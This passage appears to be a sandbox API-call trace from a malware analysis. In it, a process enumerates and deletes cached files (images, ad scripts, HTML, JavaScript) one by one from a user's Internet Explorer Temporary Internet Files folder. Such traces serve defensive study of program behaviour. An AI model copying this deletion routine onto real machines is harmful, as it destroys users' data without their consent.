(lpString="6144;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243782100[1]") returned 158 [0103.742] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="6144;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243782100[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\6144;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243782100[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\6144;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243782100[1]" [0103.742] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\6144;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243782100[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\6144;kvmsft_pagetype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede1d;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243782100[1]")) returned 1 [0103.743] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbc4e740, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbc4e740, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbc4e740, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x3e3, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="AA42x3V[1].png", cAlternateFileName="AA42X3~1.PNG")) returned 1 [0103.743] lstrlenW (lpString="AA42x3V[1].png") returned 14 [0103.743] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="AA42x3V[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\AA42x3V[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\AA42x3V[1].png" [0103.743] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\AA42x3V[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\aa42x3v[1].png")) returned 1 [0103.743] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb954bc0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb954bc0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb954bc0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="AA61AKN[1].png", cAlternateFileName="AA61AK~1.PNG")) returned 1 [0103.743] lstrlenW (lpString="AA61AKN[1].png") returned 14 [0103.743] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="AA61AKN[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\AA61AKN[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\AA61AKN[1].png" [0103.743] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\AA61AKN[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\aa61akn[1].png")) returned 1 [0103.743] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbed5ea0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbed5ea0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbed5ea0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="AA61ILp[1].png", cAlternateFileName="AA61IL~1.PNG")) returned 1 [0103.744] lstrlenW (lpString="AA61ILp[1].png") returned 14 [0103.744] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="AA61ILp[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\AA61ILp[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\AA61ILp[1].png" [0103.744] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\AA61ILp[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\aa61ilp[1].png")) returned 1 [0103.744] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf0bf420, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0x1aae03a0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1aae03a0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x2b1, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="AAcN2Ks[1].png", cAlternateFileName="AACN2K~1.PNG")) returned 1 [0103.744] lstrlenW (lpString="AAcN2Ks[1].png") returned 14 [0103.744] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="AAcN2Ks[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\AAcN2Ks[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\AAcN2Ks[1].png" [0103.744] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\AAcN2Ks[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\aacn2ks[1].png")) returned 1 [0103.744] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbfba6e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbfba6e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbfba6e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x12c, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="AAmRY2Q[1].png", cAlternateFileName="AAMRY2~1.PNG")) returned 1 [0103.744] lstrlenW (lpString="AAmRY2Q[1].png") returned 14 [0103.744] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="AAmRY2Q[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\AAmRY2Q[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\AAmRY2Q[1].png" [0103.744] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\AAmRY2Q[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\aamry2q[1].png")) returned 1 [0103.745] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf4e9aa0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf4e9aa0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcf4e9aa0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x359, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="adfscript[1]", cAlternateFileName="ADFSCR~1")) returned 1 [0103.745] lstrlenW (lpString="adfscript[1]") returned 12 [0103.745] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="adfscript[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\adfscript[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\adfscript[1]" [0103.745] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\adfscript[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\adfscript[1]")) returned 1 [0103.745] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfa6ad80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcfa6ad80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcfa6ad80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x3e4, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="adfscript[2]", cAlternateFileName="ADFSCR~2")) returned 1 [0103.745] lstrlenW (lpString="adfscript[2]") returned 12 [0103.745] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="adfscript[2]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\adfscript[2]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\adfscript[2]" [0103.745] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\adfscript[2]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\adfscript[2]")) returned 1 [0103.748] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19501980, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1aa21cc0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1aa21cc0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x35a, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="adfscript[3]", cAlternateFileName="ADFSCR~3")) returned 1 [0103.748] lstrlenW (lpString="adfscript[3]") returned 12 [0103.748] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="adfscript[3]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\adfscript[3]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\adfscript[3]" [0103.748] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\adfscript[3]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\adfscript[3]")) returned 1 [0103.749] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfa6ad80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcfa6ad80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcfa6ad80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x21cd, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="adServer[1].htm", cAlternateFileName="ADSERV~1.HTM")) returned 1 [0103.749] lstrlenW (lpString="adServer[1].htm") returned 15 [0103.749] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="adServer[1].htm" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\adServer[1].htm") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\adServer[1].htm" [0103.749] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\adServer[1].htm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\adserver[1].htm")) returned 1 [0103.749] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1af30b80, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1af30b80, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1af30b80, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x2218, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="adServer[2].htm", cAlternateFileName="ADSERV~2.HTM")) returned 1 [0103.749] lstrlenW (lpString="adServer[2].htm") returned 15 [0103.749] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="adServer[2].htm" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\adServer[2].htm") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\adServer[2].htm" [0103.749] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\adServer[2].htm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\adserver[2].htm")) returned 1 [0103.752] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbc4e740, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbc4e740, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbc9aa00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1183b, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="ast[1].js", cAlternateFileName="AST_1_~1.JS")) returned 1 [0103.752] lstrlenW (lpString="ast[1].js") returned 9 [0103.752] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="ast[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\ast[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\ast[1].js" [0103.752] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\ast[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\ast[1].js")) returned 1 [0103.757] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbc4e740, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbc4e740, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbc9aa00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1183b, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="ast[2].js", cAlternateFileName="AST_2_~1.JS")) returned 1 [0103.757] lstrlenW (lpString="ast[2].js") returned 9 [0103.757] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="ast[2].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\ast[2].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\ast[2].js" [0103.757] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\ast[2].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\ast[2].js")) returned 1 [0103.757] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1023640, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1023640, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1023640, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="async_usersync[1]", cAlternateFileName="ASYNC_~1")) returned 1 [0103.757] lstrlenW (lpString="async_usersync[1]") returned 17 [0103.757] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="async_usersync[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\async_usersync[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\async_usersync[1]" [0103.757] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\async_usersync[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\async_usersync[1]")) returned 1 [0103.757] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1af30b80, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1af30b80, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1af30b80, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="async_usersync[2]", cAlternateFileName="ASYNC_~2")) returned 1 [0103.757] lstrlenW (lpString="async_usersync[2]") returned 17 [0103.758] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="async_usersync[2]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\async_usersync[2]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\async_usersync[2]" [0103.758] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\async_usersync[2]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\async_usersync[2]")) returned 1 [0103.758] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1af30b80, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1af30b80, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1af30b80, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="async_usersync[3]", cAlternateFileName="ASYNC_~3")) returned 1 [0103.758] lstrlenW (lpString="async_usersync[3]") returned 17 [0103.758] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="async_usersync[3]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\async_usersync[3]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\async_usersync[3]" [0103.758] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\async_usersync[3]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\async_usersync[3]")) returned 1 [0103.762] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1af7ce40, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1af7ce40, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1af7ce40, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="async_usersync[4]", cAlternateFileName="ASYNC_~4")) returned 1 [0103.762] lstrlenW (lpString="async_usersync[4]") returned 17 [0103.762] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="async_usersync[4]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\async_usersync[4]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\async_usersync[4]" [0103.762] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\async_usersync[4]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\async_usersync[4]")) returned 1 [0103.766] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1b890220, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1b890220, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1ba0cfe0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="ba[2].htm", cAlternateFileName="BA_2_~1.HTM")) returned 1 [0103.766] lstrlenW (lpString="ba[2].htm") returned 9 [0103.766] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="ba[2].htm" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\ba[2].htm") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\ba[2].htm" [0103.766] DeleteFileW 